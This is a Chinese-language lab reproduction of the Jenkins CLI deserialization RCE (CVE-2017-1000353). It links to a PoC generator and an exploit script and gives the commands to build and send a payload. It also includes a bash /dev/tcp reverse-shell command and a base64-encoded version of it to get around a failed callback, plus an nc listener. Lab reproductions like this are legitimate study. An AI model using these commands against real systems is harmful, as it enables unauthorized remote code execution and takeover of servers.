0x01 漏洞描述
Jenkins存在未经身份验证的远程代码执行漏洞,经过序列化的Java SignedObject对象传输到基于远程处理的Jenkins CLI,在使用新的对象ObjectInputStream对其进行反序列化操作即可绕过现有的基于黑名单的保护机制。远程攻击者可利用漏洞在受影响的应用程序的上下文中执行任意代码,或造成程序拒绝服务。
0x02 影响范围
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
0x03 环境
vulhub(192.168.178.128)+jenkins 2.46.1
访问
http://192.168.178.128:8080/
可看到jenkins运行成功
0x04 漏洞复现
一、生成序列化字符串
(1)生成POC的工具下载地址:
https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
(2)执行以下命令生成字节码文件,执行后当前目录下会出现jenkins_poc.ser文件,这就是序列化字符串
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
// jenkins_poc.ser是生成的字节码文件名
// "touch ..."是待执行的任意命令
二、发送数据包,执行命令
(1)下载EXP:
https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
(2)执行EXP,将刚才生成的字节码文件发送给目标:
python3 exploit.py http://192.168.178.128:8080 jenkins_poc.ser
(3)进入docker容器,查看/tmp/success已经成功创建,命令成功执行。
docker-compose exec jenkins bash
//登录到jenkins容器中
三、反弹shell
构造发送正常反弹shell命令,发现反弹不回来:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -i >& /dev/tcp/192.168.178.1/4444 0>&1"
此处参考:
(1)监听IP:192.168.178.1
(2)可通过base64编码绕过:bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNzguMS80NDQ0IDA+JjFg}|{base64,-d}|{bash,-i}
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNzguMS80NDQ0IDA+JjFg}|{base64,-d}|{bash,-i}"
(3)nc开启监听,执行exploit.py
(4)成功反弹shell
同理也可执行其他,例如写内容到文件等
0x05 修复建议
升级到最新版本!最新版本!!
目前最新版本:
Jenkins LTS 2.263.1
Jenkins主版本 2.271